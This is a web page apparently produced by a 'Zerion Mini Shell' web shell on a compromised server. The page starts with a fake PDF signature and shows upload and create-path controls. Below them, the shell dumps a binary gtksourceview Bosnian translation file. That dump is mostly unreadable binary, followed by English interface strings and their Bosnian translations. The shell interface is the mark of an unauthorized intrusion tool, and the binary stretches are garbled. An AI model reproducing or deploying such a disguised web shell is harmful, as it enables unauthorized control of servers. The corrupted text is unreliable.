%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/bs/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/bs/LC_MESSAGES/gtksourceview-5.mo

��gT5�&`3a3j3o3{3
3�3�3
�3�3�3�3�3�3�3�3�3�3�34

44454	>4H4b4v4�4	�4�4�4�4�4�4�4555)5:5A5
P5^5e5m5
t5�5�5�5
�5�5�5�5�5�5�5
6
66+646G6Y6i6}6�6�6�6�6�6�6�6�6�6�677"757;7A7E7J7{W7�7�7	�7�78	88/8C8
I8T8c8
o8z8�8�8�8
�8�8)�8/�809&?9f9
n9|9�9�9�9�9�9�9�9�9::	::,:4:>D:-�:�:�:�:�:�:	�:�:�:/�:	-;
7;	B;L;Q;
W;b;j;y;	�;�;�;�;
�;�;	�;
�;�;�;<<!<	&<	0<:<J<S<[<j<�<
�<�<�<�<�<�<�<�<�<�<�<==
=&=B=I=[=n=�=�=�=
�=�=�=	�=�=�=�=�=�=>>%>+>:>P>_>u>�>�>�>
�>�>�>
�>	�>�>�>�>????/?5?>?E?U?f?v?�?�?�?�?�?
�?�?�?�?�?�?�?�?	@	@	@	#@	-@	7@	A@K@[@k@{@�@�@
�@�@
�@�@�@S�@1AAAXApA|A
�A�A�A
�A�A�A�A�A
�A�A�A�A
BB"0B
SB^B{B�B�B�B�B�B)�BC'C
.C<C>CGC
LCWC]CbC	fCpCxC�C�C�C�C�C�C�C�C�C�C�CD
DD D	%D/D4D@DHDYD_DnDwD{D�D�D
�D
�D�D�D�D�D�D
�D
�D	�D�D	�DE-ECELE	UE_EfEuE�E�E	�E�E�E�E	�E�E�E�E�E�EF)F0FNFSF
XFcFjFzF~F�F�F�F�F�F�F�F�F�F�F�FG
GG2GDGWG
`GnGuG�G�G�G
�G�G�G�G�G�G�G
�G�G�G�G
H
H
(H3H	EH
OHZHaHnHuH�H�H�H�H�H	�H�H�H�H�H�HI	I I7I>I
EI
PI^IgInIuI~I�I�I�I�I�I�I�I�I�I�I�IJJ-J?JNJ	_JiJpJyJ~J�J�J�J
�J�J�J�J	�J�J	�J	�J	�J	�J	�JKK&K5K"=K`KlK	xK�K
�K�K�K�K�K�K�K
�K�K�K�K
LL.L#;L_LpL|L�L	�L
�L�L�L�L
�L�L�L
MM/MBMXMaMnMuM|M�M�M�M�M�M
�M�M�M�M�MNN
NNN
N
-N;NBNHNNNWNdNpNxN}N
�N�N�N�N
�N�N�N�NO
O(O-O2O9OBO	VO`OtOyO�O�O
�O
�O
�O�O�O�O�O�O�O�O�O�O-�O%P-P9PFPLPTP`PfPoPsP4{P�P�P�P�P�P�P�P/Q2QQQYQaQ
dQoQ
xQ�Q�Q�Q�Q�QP�QR
RR,R5R1JR�|RQTZT_TkToT{T�T
�T�T�T�T�T
�T	�T�T�T�T�TU		UUU6U
?UMUjU{U�U�U�U�U�U�U�U�UVV#V/V	IVSVfVzV�V�V�V�V�V�V�V�V�V�V

WWW%W8WJW]WiW|W�W�W	�W�W�W�W�WX"(XKXRXTXWX\XqX�X�X�X�X�X�X{�X?YGYOY`YrY�Y�Y�Y�Y	�Y�Y�Y�Y�Y�YZZ	Z$Z0)Z.ZZ1�Z'�Z�Z
�Z�Z[
[[5[F[[[m[
}[�[	�[	�[�[�[�[>�[1\G\S\c\x\z\�\�\�\-�\�\�\�\�\�\]"]+]8]	D]N]f]	v]
�]�]
�]
�]�]�]�]�]�]	�]	^^ ^-^5^G^!_^
�^�^�^�^�^�^
�^	�^�^�^�^�^_
	__4_;_P_\_p_�_�_�_�_�_�_�_�_�_�_�_	``*`?`Q`i`y`�`�`�`�`
�`
�`�`�`�`!�`a"a&a.aAaFaZa	`ajasa�a�a�a�a�a�a�a�a
�a�a�a�ab	b!b4bGbSb_bkb	wb�b�b�b�b�b�b�b	�b�bc
c!c'cR;c�c�c�c�c�c
�c�c�c
�c	
dd!d(d	8dBdKd[dvd�d �d
�d"�d�d�d$e@eLe^e7qe"�e�e�e�e�e�e
�ef	fff%f5fFfafjfrf�f�f�f�f�f�f�f�f
�f�f	g

ggg(g0g@gHgZgcggglgrgyg�g�g�g�g
�g�g�g�g�gh	h
%h33hghph|h�h�h�h�h�h�h�h�hiii i(i
1i?iWi	ii"si�i�i�i�i�i�i�i�i
�i�i�i�ij2jEjMjZjajfjmj~j�j�j�j�j�j
�j�jk
kk
'k5k<kEkNkRk
Vk
akok�k�k�k�k�k	�k	�k�k�klll&l+l2lGlblkl
sl�l�l�l�l�l�l�l�l�lm	mmm%m.m3mLmNm_mhmtm�m�m�m�m�m�m�mn#n@n]nenlnunzn�n�n�n�n�n�n�n
�n�n
�n
�n
�n
�n
�noo+o	8o*Bomoyo�o�o
�o�o�o�o�o�o�o�o�o�o	pp0pHp"[p~p�p�p�p�p�p�p�p�pqq q6qJqaqwq	�q�q�q	�q�q�q�q�q�qr
r%r)r-rDrJrNrVrkr
qr|r�r�r�r�r�r�r�r�r�r�r�r)�r&s*s
BsMs	Us>_s�s�s�s�s�s	�s�s	�sttt
't5t=t
ItTt
ftqtyt�t�t
�t�t�t�t-�t�t�t�t
uu#u	4u	>uHuLu9Tu�u+�u�u�u�u�u�u?�u'8v`vpvxv{v�v
�v	�v�v�v�v�vd�v<w	Aw�Kw�w�w4xy�'M�hT#��(�*�O�q��C�,LR�;Z����}������}�J�N���XE�Q_a�����7k r�5#���7�8���x�F�z
��Qg�������f���S�pE���F���"������
�P�M��W��l�{I�vy<"6~e�f�4Q���$�k���-D>n������b�S!b	�@Sh/�
uJ|O[�C�B\K~{9�d����w]]�X���8�6cO����N�iYKV�w��A)��C!�:�U�1`�	;_N���J*q`�^9�����`?%@K�>*��������(��BT4A�;�'3R�a��s.��@z�<&"�s\�x(��G5,� �nLo0��T�R'��rY�+����b������3�.���%���+Xj��$<�W�-H�Z���>�-=GI�P�l���_H���=��3�����V:���D�9
/U��Ggo�LvBH&�UcuDY�%�)��7�	�d�A
#�Z�[��+0^�g=tp.�&j�PEIm�\^��28�2�cVF$2�e4/5,��?1�m�M
��)�e�����[1:�W�f �]�!�����dt��0�6��|ia�?�.desktop.iniANS-Forth94ASPASP ObjectActionScriptAdaAdded lineAdditional CategoryAddressAdverbAfterAlertAliasAllAll _Lower CaseAll _Upper CaseAlwaysAnchorAnnotationArabicArbitrary base numberArmenianAssertionAssignment Left Hand SideAssignment OperatorAssignment Right Hand SideAtomAttributeAttribute DefinitionAttribute NameAttribute ValueAttribute nameAttribute valueAutoconf MacroAutomakeAutomake VariableBOZ LiteralBackslash EscapeBalticBase-N IntegerBase-N numberBeforeBennuGDBibTeXBinary numberBindingsBlockBlock ElementsBlock literalBlockquote MarkerBlue based color schemeBluespec SystemVerilogBoldBooBooleanBoolean ValueBoolean valueBoolean valuesBuilt InBuilt In FunctionsBuilt-in FunctionBuilt-in TargetBuilt-in identifierBuiltinBuiltin CommandBuiltin ConstantBuiltin FunctionBuiltin ObjectBuiltin VariableBuiltin-function keywordBulletCC#C++C/C++/ObjC HeaderCDATA delimiterCG Shader LanguageCMakeCOBOLCSSCUDAC_hange CaseCannot create a regex for all the transitions, the syntax highlighting process will be slower than usual.
The error was: %sCelticCentral EuropeanChangeLogChanged lineChapter HeadingCharacterChinese SimplifiedChinese TraditionalClassClass NameClass SelectorClass namesClass typeClassicClassic color schemeCobaltCodeCode BlockColorColor scheme used in the Kate text editorColor scheme using Solarized dark color paletteColor scheme using Solarized light color paletteColor scheme using Tango color paletteCommandCommand MacroCommandsCommentCommon CommandsCommon DefinesCommon FunctionCompiler DirectiveCompletion InfoComplex numberConditional MacroConjunctionConstantConstantsConstructorsControlControl KeywordConversion from character set '%s' to 'UTF-8' is not supportedCould not open converter from '%s' to 'UTF-8'CyrillicCyrillic/RussianCyrillic/UkrainianDDOCTYPEDOS BatchDPatchDTDDark color scheme using the Tango color paletteData TypeData TypesData typeDateDebugDebug CodeDecimalDecimal numberDeclarationDecoratorDefault AttributeDefaultsDefineDefinitionDefinition listDelimiterDeprecatedDesign by ContractDevice CastDevice FunctionDevice FunctionsDiffDimensionDirectiveDirectory MacroDisabledDocBookDocument WordsDocumentation commentDocumentation comment elementDouble NumberE-mail addressEiffelElementElement nameEmailEmphasisEncodingEntityEntriesEnumerated listErlangErrorError TextError during conversion: %sEscapeEscaped CharacterEscaped CharactersException HandlingExec parameterExplicit ArgumentExplicit Noun DefinitionExpressionExternalExternal CommandExternalsF#FCLFieldFileFile AttributesFile DescriptorFilenameFloatFloating PointFloating Point numberFloating pointFloating point numberFlow ConditionalFormatFormatting ElementsForthFortran 95Frame NumberFunctionFunction NameFunctionsFuture Reserved KeywordsFuzzyGAPGDB LogGUI ElementsGateGenerated ContentGenieGeorgianGlobalGlobal FunctionGlobal FunctionsGlobal VariableGlobal VariablesGoGraphviz DotGreekGroupGtkRCGtkSourceViewHTMLHaddockHaddock DirectiveHaskellHeaderHeader ElementsHeader PropertyHeading 0Heading 1Heading 2Heading 3Heading 4Heading 5Heading 6Heading level 1Heading level 2Heading level 3Heading level 4Heading level 5HebrewHebrew VisualHeredocHeredoc BoundHexHexadecimal numberHighlighting a single line took too much time, syntax highlighting will be disabledHorizontal RuleHyperlinked IdentifierHyperlinked Module NameID SelectorIDLIDL-ExelisIEEE System TaskIRIIdentifierIgnoreImage MarkerImageJImaginary numberImport BVIIncludeInclude StatementInclude directiveIncluded FileIncomplete SequenceIncomplete UTF-8 sequence in inputIndividualInline Documentation SectionInline ElementsInline Haddock SectionInline Math ModeIntegerInteger NumberIntrinsic functionInvalid byte sequence in conversion inputInvalid object, not initializedItalicItemized listJJapaneseJavaJavaScriptJuliaKateKeyKeysymbolKeywordKeywordsKnown Property ValueKoreanLLVM IRLRM Additional System TaskLaTeXLab TextLabelLabeled argumentLeadingLexLight EmphasisLineLine BreakLine DirectiveLinkLink TextListList MarkerLiteralLiterate HaskellLocalLocal VariableLocationLuaMXMLMacroMacrosMagic WordMain CategoryMakefileMallardMap keyMarkdownMarkupMath BoundaryMath ConstantMath ModeMatlabMediaWikiMetaparametersMissing main language definition (id = "%s".)ModelicaModifierModifiersModuleModule HandlerModule PathModule handlerModule name, Variant, etcMonospaceMultiline stringNSISNameNamespaceNemerleNetRexxNewlineNil ConstantNo idea what it isNon Breaking WhitespaceNordicNote (FIXME, TODO, XXX, etc.)NounNullNull ValueNumberNumeric literalOCLOCamlOOCObjective-CObjective-JOblivionObsolete Autoconf MacroObsolete KeywordOcamldoc CommentsOctalOctal numberOctaveOpalOpenCLOpenCL ConstantOpenGL Shading LanguageOpenMP directivesOperation operatorOperatorOptimized OutOptionOption NameOptional TargetOptionsOtherOther KeywordOther MacroOthersOthers 2Others 3PHPPODPOD EscapePOD headingPOD keywordPackage InfoPackage ManagerPage ElementsPage titleParagraph HeadingParameterParametersParensPart HeadingPascalPatch StartPatternPerlPigPolymorphic VariantPredefined VariablePredicatePrefixPreformattedPreprocessorPreprocessor directivePreprocessor tagsPrimaryPrimitiveProcessing instructionPrologPromptPropertiesProperty NameProviderPuppetPythonPython 3QNameQuoted ValueRRPM VariableRPM specReal numberRedirectRegular ExpressionReleaseRemoved lineReserved CategoryReserved ClassReserved ConstantReserved IdentifierReserved KeywordsReserved WordsReserved keywordResourcesReturnRomanianRubySPARQLSQLScalaSchemeScientificScilabScope DeclarationScriptSecondarySectionSection 1Section 2Section 3Section 4Section 5Section ElementsSection HeadingSelect a StyleShebangShow detailed proposal informationSignal NameSignal nameSignatureSinceSingle NumberSolarized DarkSolarized LightSourceSourcesSouth EuropeanSpaceSpec MacroSpecialSpecial CharacterSpecial ConstantSpecial TokenSpecial VariableSpecial caseSpecial character (inside a string)Special constantStandard MLStandard ModulesStandard streamStatementStorage ClassStorage TypeStringString ConversionString FormatStrong EmphasisStructural ElementsSub KeywordsSubParagraph HeadingSubSection HeadingSubSubSection HeadingSubshellSubstitutionSweaveSwitchSwizzle operatorSymbolSymbol of a TableSymbol on a LinkSystem CommandSystem TaskSystemVerilogTabTagTag Name SelectorTangoTclTemplateTexinfoTextThaiThread ActionThread HeaderThriftTitleTokenTrailingTrailing TabTranslationTurkishTypeType OperatorsType VariableType, module or object keywordURLUndefined ValueUnderlinedUnicodeUnknownUnknown id '%s' in regex '%s'VB.NETVBScript and ADO constantsVHDLValaValuesVariableVariable DefinitionVariablesVariant ConstructorVerbVerbatimVerbatim BlockVerilogVietnameseVisibilityVoid ValueWarningWesternWidget StateWordXMLXML TagXSLTYAMLYacc['UTF-8', 'CURRENT', 'ISO-8859-15', 'UTF-16']_Cancel_Details..._Invert Case_Redo_Select_Title Case_Undoat-rulesawkcommandcontext '%s' cannot contain a \%%{...@start} commanddeclduplicated context id '%s'entityerrorfunctiongettext translationgtk-docin regex '%s': backreferences are not supportedinvalid context reference '%s'keywordlibtoolm4m4 Commentm4 Macropkg-configprereqprintf ConversionreStructuredTextruleshstyle override used with wildcard context reference in language '%s' in ref '%s'targetstoken typetranslator-creditstxt2tagsunknown context '%s'using \C is not supported in language definitionsProject-Id-Version: gtksourceview.HEAD
Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?product=gtksourceview&keywords=I18N+L10N&component=general
PO-Revision-Date: 2015-03-02 15:46+0100
Last-Translator: Samir Ribić <megaribi@epn.ba>
Language-Team: Bosnian <lokal@linux.org.ba>
Language: bs
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: Poedit 1.7.4
X-Launchpad-Export-Date: 2015-02-15 06:18+0000
.desktop.iniANS-Forth94ASPASP ObjekatActionScriptAdaDodana linijaDodatna kategorijaAdresaPrilogNakonUpozorenjePseudonimSveSve _mala slovaSve _velika slovaUvijekSidroAnotacijaArapskiBroj u proizvoljnoj osnoviArmenskiPotvrđivanjeDodjeljivanje lijevoj straniOperator dodjeleDodjeljivanje desnoj straniAtomAtributDefinicija atributaIme atributaVrijednost atributaIme osobineVrijednost osobineAutoconf makroAutomakeAutomake varijablaBOZ literalIskočni znak kosom crtomBaltičkiBase-N Cijeli BrojCio broj u osnovi NPrijeBennuGDBibTeXBinarni brojPovezivanjaBlokElementi blokaBlokiraj doslovneMarker bloka navodnikaPlava šema bojaBluespec SystemVerilogPodebljanoBooLogičkiBoolean VrijednostBulova vrijednostBulove vrijednostiSagrađen uUgrađene funkcijeUgrađena funkcijaUgrađeno odredišteUgrađeni identifikatorUgrađenoUgrađena naredbaUgrađena konstantaUgrađene funkcijeUgrađeni objekatUgrađene promjenljiveKljučna riječ ugrađene funkcijeTačkaCC#C++7C/C++/ObjC zaglavljeCDATA razdvajačCG Shader jezikCMakeCOBOLCSSCUDA_Izmijeni mala/velika slovaNe mogu da napravim regularni izraz za sve prelaze, proces isticanja sintakse će biti sporiji nego obično.
Greška je: %sKeltskiZapadniDnevnik promjenaIzmjenjena linijaZaglavlje poglavljaZnakKineski pojednostavljeniTradicionalni KineskiKlasaIme klaseIzbornik klaseImena klasaVrsta klaseKlasikaKlasična šema bojaKobaltKôdBlok kodaBojaŠema boja korišćena u Kate uređivaču tekstaŠema boja koristeći Solarzovano tamnu paletuŠema boja koristeći Solarzovano svijetlu paletuŠema boja koristeći Tango paletu bojaKomandaMakro naredbeKomandeKomentarZajedničke naredbeZajedničke definicijeObična funkcijaDirektiva prevodiocaInfo dovršavanjaKompleksni brojUslovni makroVeznikKonstantaKonstanteKonstruktoriKontrolaKontrolna ključna riječKonverzija iz znaka postavljenog '%s' u 'UTF-8' nije podržanaNije moguće otvoriti konvertor iz '%s' u 'UTF-8'ĆiriličnoĆirilica/RuskiĆirilica/UkrajinskiDDOCTYPEDOS BATDPatchDTDTamna šema boja koristeći Tango paletu bojaTip podatakaTipovi podatakaTip podatkaDatumPraćenje grešakaKod za ispravljanje grešakaDecimalaDekadni brojDeklaracijaDekoraterPodrazumijevani atributPodrazumijevanoDefinišiDefinicijaSpisak definicijaRazdvajačZastarjeloDizajn po ugovoruUloga uređajaFunkcija uređajaFunkcije uređajaDiffDimenzijaDirektivaMakro fascikleOnemogućenoDocBookRiječi dokumentaDokumentacioni komentarElement dokumentacionog komentaraDupli brojAdresa e-pošteEiffelElementIme elementaE-poštaNaglašavanjeKodiranjeEntitetStavkeNumerisani spisakErlangGreškaTekst greškeGreška tokom konverzije: %sEscapeZnak za izbjegavanjeESC znakoviBaratanje greškamaParametar izvršnogEksplicitni argumentIzričita definicija imeniceIzrazSpoljašnjiVanjska naredbaEksterniF#FCLPoljeDatotekaAtributi DatotekaDeskriptor datotekeIme datotekeSa pokretnim zarezomPlutajuća TačkaBroj u pokretnom zarezuPomična tačkaBroj u pokretnom zarezuUslov skokaFormatElementi za formatiranjeForthFortran 95Broj kadraFunkcijaIme funkcijeFunkcijeRezervisane riječi za budućnostNejasnoGAPGDB LogGrafički elementiUlazGenerisani SadržajGenieGruzijskiGlobalnoGlobalna funkcijaGlobalne FunkcijeGlobalna varijablaGlobalne VarijableKreniGrafviz DotGrčkiGrupaGtkRCGtkSourceViewHTMLHaddockHaddock direktivaHaskellZaglavljeElementi zaglavljaSvojstvo zaglavljaZaglavlje 0Zaglavlje 1Zaglavlje 2Zaglavlje 3Heading 4Zaglavlje 5Zaglavlje 6Nivo zaglavlja 1Nivo zaglavlja 2Nivo zaglavlja 3Nivo zaglavlja 4Nivo zaglavlja 5HebrejskiHebrejski vizuelniHeredokHeredok opsegHeks.Heksadecimalni brojIsticanje jedne linije je trajalo predugo, isticanje sintakse će biti isključenoHorizontalna linijaUvezani idedntifikatorUvezano ime modulaID SelektorIDLIDL-ExelisIEEE Sistem TaskIRIIdentifikatorIgnorišiMarker slikeImageJImaginarni brojUvezi BVIUključiInclude naredbaDirektiva za uključivanjeUključena datotekaNekompletna sekvencaNepotpuna UTF-8 sekvenca u ulazuIndividualOdjeljak unutrašnje dokumentacijeInline ElementiUnutrašnji Haddock odjeljakUgnježdeni matematički način radaCijeli brojBroj bez decimalaSopstvena funkcijaNevažeći niz bajtova u ulaznim podacima za konverzijuNeispravan objekat, nije pokrenutoKurzivnoLista sa stavkamaJJapanskiJavaJavaScriptJulijaKateKljučKljučni simbolKljučna RiječKljučne riječiPoznata vrijednost osobinaKorejskiLLVM IRLRM  dodatni sistemski TaskLaTeXTekst labeleLabelaArgument sa oznakomVodećiLexIstakni svjetlostLinijaPrelom linijeDirektiva linijePoveznicaTekst vezeListaMarker listeLiteralLiterate HaskelLokalnaLokalna VarijablaLokacijaLuaMXMLMakroMacrosČarobna riječGlavna kategorijaMakefileMalardKljuč mapeMarkiranjeOznačavanjeMatematička granicaMatematička konstantaMatematički način radaMatlabMediaWikiMetaparametriNedostaje glavna definicija jezika (ib = „%s“.)ModelicaModifikatorModifikatoriModulModul RukovanjaPutanja do modulaRukovalac modulomIme modula, Variant, itdFiksna širinaVišelinijska niskaNSISImeImenski prostorNemerleNetRexxNovi redNil konstantaNemam pojma šta je ovoNeprekidni razmakNordijskiBilješka (FIXME, TODO, XXX, itd.)ImenicaNultiNull vrijednostBrojNumerički literalOCLOCamlOOCObjective‑CObjective-JOblivionZastarjeli autoconf makroZastarjela ključna riječOcamldoc komentariOktalnoOktalni brojOctaveOpalOpenCLOpenCL konstantaOpenGL jezik za sijenčenjeOtvoriMP direktiveOperator operacijeOperatorOptimitovani izlazOpcijaIme opcijeOpciono odredištePostavkeOstaloDruga ključna riječOstali makroiOstaliOstali 2Ostali 3PHPPODPOD EscapePOD zaglavljePOD ključna riječInformacije o paketuMenadžer PaketaElementi straneNaziv straniceZaglavlje parafrafaParametarParametriParensZaglavlje dijelaPascalPočetak zakrpeUzorakPerlSvinjaPolimorfna varijantaPredefinisane promjenljivePredikatPrefiksPreoblikovanoPreprocesorPreprocesorske direktiveOznake predprocesoraPrimarnaOsnovna riječInstrukcija preprocesoraPrologUpitSvojstvaIme svojstvaProvajderLutakPythonPython 3QImeVrijednost u navodnicimaRRPM PromjenljivaRPM specRealan brojPreusmjeravanjeRegularni IzrazIzdanjeUklonjena linijaRezervisana kategorijaRezervisana klasaRezervisana konstantaRezervisani identifikatorRezervisane Ključne RiječiRezervisane Ključne RiječiRezervisane ključne riječiResursiVraćaRumunskiRubySPARQLSQLSkalaShemaNaučniScilabDeklaracija opsegaSkriptaSekundarnaOdjeljakOdjeljak 1Odjeljak 2Odjeljak 3Odjeljak 4Odjeljak 5Elementi odjeljkaZaglavlje odjeljkaOdaberi stil#!/bin/shPrikaži detaljne informacije o prijedloguIme signalaIme signalaPotpisOdJedan brojSolarizovano tamnaSolarnizovana svijetlaIzvorIzvoriZapadniRazmakSpecijalni makroPosebnoSpecijalni znakSpecijalna konstantaSpecijalni simbolSpecijalna promjenljivaSpecijalni slučajSpecijalni karakter (unutar niske)Specijalna konstantaStandard MLStandardni moduliStandardni tokNaredbaKlasa skladištaVrsta smještajaStringKonverzija stringaFormat niskeJako isticanjeStrukturalni elementiKljučne podriječiZaglavlje podparagrafaZaglavlje pododjeljkaZaglavlje podpododjeljkaPodljuskaZamjenaSweaveSkretnicaOperator reorganizovanjaSimbolSimbol tabliceSimbol na povezniciSistemska naredbaSistemski TaskSystemVerilogTabTagIzbornik imena ooznakeTangoTclŠablonInformacije o tekstuTekstTajlandskiAkcija nitiZaglavlje nitiObiljeNaslovTokenPratećiViseći tabulatorPrijevodTurskiTipOperatori tipovaTip promjenljiveKljučna riječ za tip, modul ili objekatURLNedefinisana vrijednostPodvučenoUnicodeNepoznatoNepoznata identifikacija „%s“ u regularnom izrazu „%s“VB.NETVBScript i ADO konstanteVHDLValaVrijednostiVarijablaDefinicija promjenljiveVarijableVarijantni konstruktorGlagolVerbatimVerbatim blokVerilogVijetnamskiVidljivostPrazna vrijednostUpozorenjeZapadniStanje elementaRiječXMLXML OznakaXSLTYAMLYacc['UTF-8', 'CURRENT', 'ISO-8859-15', 'UTF-16']_Otkaži_Detalji..._Obrni mala/velika slova_Korak naprijed_Izaberi_Slova u naslovu_Poništi@ pravilaawknaredbakontekst '%s' ne može da sadrži naredbu: \%%{...@start}deklaracijaponovljeni identifikator konteksta „%s“entitetgreškafunkcijagettext prijevodgtk-doku regularnom izrazu „%s“: povratne reference nisu podržanenevažeća referenca konteksta „%s“ključna riječlibtoolm4m4 komentarm4 makropkg-configpreduslovprintf konverzijarestrukturisan tekstpraviloshpreklapanje stila korišćeno sa džoker referencom konteksta u jeziku „%s“ i referenci „%s“meteznak tipa   Nedim Hozic https://launchpad.net/~nedimhozic
  Omar Dervisevic https://launchpad.net/~omardervisevic
  Samir Ribić https://launchpad.net/~megaribitxt2tagsnepoznati kontekst „%s“korišćenje \C nije podržano u definicijama jezika

Zerion Mini Shell 1.0